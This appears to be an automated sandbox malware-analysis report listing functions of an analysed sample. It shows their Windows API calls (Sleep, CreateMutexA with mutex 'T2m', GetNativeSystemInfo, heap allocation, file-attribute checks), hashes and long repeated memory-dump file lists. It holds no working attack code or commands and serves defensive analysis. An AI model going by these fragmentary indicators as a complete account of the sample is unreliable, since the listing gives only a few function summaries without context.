Associated: 00000000.00000002.1430993971.000000000097D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2m
API String ID: 1464230837-1250367210
Opcode ID: 389418de6ffc622d508b024befc81116e78e3670cdc6f2a5005dab3cd2329485
Instruction ID: 46661fe2575a78f87bba61c78bc09d06163f46a2957c299cb85fce4bbfd50df2
Opcode Fuzzy Hash: 389418de6ffc622d508b024befc81116e78e3670cdc6f2a5005dab3cd2329485
Instruction Fuzzy Hash: C6214C31A142009BEB18AFACECC5B6DB763EBC1310F24822DE51C873D5D77599908B22

Function 0067A856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0067A963
CreateMutexA.KERNEL32(00000000,00000000,006D3254), ref: 0067A981

Strings

T2m, xrefs: 0067A970

Memory Dump Source

Source File: 00000000.00000002.1428965317.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1428941471.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1428965317.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429126467.00000000006D9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429179391.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429200923.00000000006E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429219559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429248167.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429460706.0000000000838000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429494123.000000000083A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429551451.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429551451.0000000000858000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429621326.0000000000861000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429640957.0000000000862000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429663099.0000000000863000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429683493.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429710873.000000000086E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429744216.0000000000870000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429769433.0000000000871000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429796276.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429826563.0000000000889000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429846593.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429874482.00000000008B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429899006.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429925077.00000000008B5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429947658.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430029995.00000000008C2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430163038.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430259484.00000000008D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430294204.00000000008D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430329685.00000000008D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430387483.00000000008D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430417512.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430433300.00000000008E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430448611.00000000008E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430504759.00000000008EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430527403.00000000008EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430586144.00000000008F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430609617.00000000008F1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430655949.00000000008F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430655949.000000000092C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430731016.000000000092D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430781465.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430805073.000000000094E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430829889.000000000094F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430854134.0000000000966000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430877762.0000000000967000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430938804.000000000096A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430957892.000000000096D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430977169.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430993971.000000000097D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2m
API String ID: 1464230837-1250367210
Opcode ID: 6a5042d2bca954dbae09d8c28098e15df1c43af022d86d9ab50e8e397fbffbed
Instruction ID: 14d28fbda60a001d51d7eccbae14308a7f9215a48c52d559e0978c4a4c290521
Opcode Fuzzy Hash: 6a5042d2bca954dbae09d8c28098e15df1c43af022d86d9ab50e8e397fbffbed
Instruction Fuzzy Hash: D4214830659200CAFB346BF8D896B7DB353DFC1300F24C92AE24C963D1CA7699818293

Function 0067A34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0067A963
CreateMutexA.KERNEL32(00000000,00000000,006D3254), ref: 0067A981

Strings

T2m, xrefs: 0067A970

Memory Dump Source

Source File: 00000000.00000002.1428965317.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1428941471.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1428965317.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429126467.00000000006D9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429179391.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429200923.00000000006E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429219559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429248167.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429460706.0000000000838000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429494123.000000000083A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429551451.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429551451.0000000000858000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429621326.0000000000861000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429640957.0000000000862000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429663099.0000000000863000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429683493.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429710873.000000000086E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429744216.0000000000870000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429769433.0000000000871000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429796276.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429826563.0000000000889000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429846593.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429874482.00000000008B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429899006.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429925077.00000000008B5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429947658.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430029995.00000000008C2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430163038.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430259484.00000000008D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430294204.00000000008D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430329685.00000000008D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430387483.00000000008D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430417512.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430433300.00000000008E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430448611.00000000008E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430504759.00000000008EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430527403.00000000008EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430586144.00000000008F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430609617.00000000008F1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430655949.00000000008F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430655949.000000000092C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430731016.000000000092D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430781465.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430805073.000000000094E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430829889.000000000094F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430854134.0000000000966000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430877762.0000000000967000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430938804.000000000096A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430957892.000000000096D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430977169.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430993971.000000000097D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2m
API String ID: 1464230837-1250367210
Opcode ID: 7ae943dab83c1e804139c5cef2dbeb9f5c1e95cceb104d0b32926ad24c68dd3d
Instruction ID: 99bc940248d6ceefed898d174b7bae3a8e7ae8c4d04f83edec657bcb108fd2f4
Opcode Fuzzy Hash: 7ae943dab83c1e804139c5cef2dbeb9f5c1e95cceb104d0b32926ad24c68dd3d
Instruction Fuzzy Hash: 2F213731A142009BEB18AFA8EC85B6CB763DBC1320F24822DE61CD77D4D7759A808752

Function 00677D30 Relevance: 1.9, APIs: 1, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00677ED3

Memory Dump Source

Source File: 00000000.00000002.1428965317.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1428941471.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1428965317.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429126467.00000000006D9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429179391.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429200923.00000000006E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429219559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429248167.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429460706.0000000000838000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429494123.000000000083A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429551451.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429551451.0000000000858000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429621326.0000000000861000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429640957.0000000000862000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429663099.0000000000863000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429683493.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429710873.000000000086E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429744216.0000000000870000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429769433.0000000000871000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429796276.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429826563.0000000000889000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429846593.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429874482.00000000008B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429899006.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429925077.00000000008B5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429947658.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430029995.00000000008C2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430163038.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430259484.00000000008D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430294204.00000000008D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430329685.00000000008D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430387483.00000000008D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430417512.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430433300.00000000008E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430448611.00000000008E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430504759.00000000008EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430527403.00000000008EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430586144.00000000008F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430609617.00000000008F1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430655949.00000000008F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430655949.000000000092C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430731016.000000000092D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430781465.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430805073.000000000094E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430829889.000000000094F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430854134.0000000000966000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430877762.0000000000967000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430938804.000000000096A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430957892.000000000096D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430977169.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430993971.000000000097D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: e12967d8fa4e06cb4cd9c4314c817566300a8a3d85307e9fe047caff6795f06c
Instruction ID: d96918f39fb5c79217939c4bb7957ccdd10649f9e4be3f9f56ff92d4e0f10943
Opcode Fuzzy Hash: e12967d8fa4e06cb4cd9c4314c817566300a8a3d85307e9fe047caff6795f06c
Instruction Fuzzy Hash: E4E12970E002449BDB15BB68CC5B39D7B63AB41720FA482DDE4196B3C2DB758F918BC6

Function 006AD82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,006AA813,00000001,00000364,00000006,000000FF,?,006AEE3F,?,00000004,00000000,?,?), ref: 006AD871

Memory Dump Source

Source File: 00000000.00000002.1428965317.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1428941471.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1428965317.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429126467.00000000006D9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429179391.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429200923.00000000006E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429219559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429248167.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429460706.0000000000838000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429494123.000000000083A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429551451.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429551451.0000000000858000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429621326.0000000000861000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429640957.0000000000862000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429663099.0000000000863000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429683493.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429710873.000000000086E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429744216.0000000000870000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429769433.0000000000871000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429796276.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429826563.0000000000889000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429846593.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429874482.00000000008B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429899006.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429925077.00000000008B5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429947658.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430029995.00000000008C2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430163038.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430259484.00000000008D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430294204.00000000008D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430329685.00000000008D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430387483.00000000008D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430417512.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430433300.00000000008E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430448611.00000000008E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430504759.00000000008EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430527403.00000000008EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430586144.00000000008F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430609617.00000000008F1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430655949.00000000008F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430655949.000000000092C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430731016.000000000092D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430781465.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430805073.000000000094E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430829889.000000000094F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430854134.0000000000966000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430877762.0000000000967000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430938804.000000000096A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430957892.000000000096D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430977169.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430993971.000000000097D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 102c2ec4faa99b876703c71910e5eb2d78cba454cc6dbc274acc3dcc053d8911
Instruction ID: f1c5a84c181999526bcf6189f3fc363a4bfdf2df568e897103c5f6cd6b8fb5ce
Opcode Fuzzy Hash: 102c2ec4faa99b876703c71910e5eb2d78cba454cc6dbc274acc3dcc053d8911
Instruction Fuzzy Hash: EEF0E93160112466DB213A729C01A9B775BDF47370B148025EC0697A81DB28DC008DE4

Function 006787B2 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,0067DA1D,?,?,?,?), ref: 006787B9

Memory Dump Source

Source File: 00000000.00000002.1428965317.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1428941471.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1428965317.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429126467.00000000006D9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429179391.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429200923.00000000006E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429219559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429248167.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429460706.0000000000838000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429494123.000000000083A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429551451.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429551451.0000000000858000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429621326.0000000000861000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429640957.0000000000862000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429663099.0000000000863000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429683493.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429710873.000000000086E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429744216.0000000000870000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429769433.0000000000871000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429796276.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429826563.0000000000889000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429846593.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429874482.00000000008B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429899006.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429925077.00000000008B5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429947658.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430029995.00000000008C2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430163038.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430259484.00000000008D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430294204.00000000008D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430329685.00000000008D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430387483.00000000008D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430417512.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430433300.00000000008E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430448611.00000000008E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430504759.00000000008EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430527403.00000000008EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430586144.00000000008F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430609617.00000000008F1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430655949.00000000008F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430655949.000000000092C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430731016.000000000092D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430781465.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430805073.000000000094E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430829889.000000000094F000.00000040.00000001.01000000.00000003.sdmpDownload File
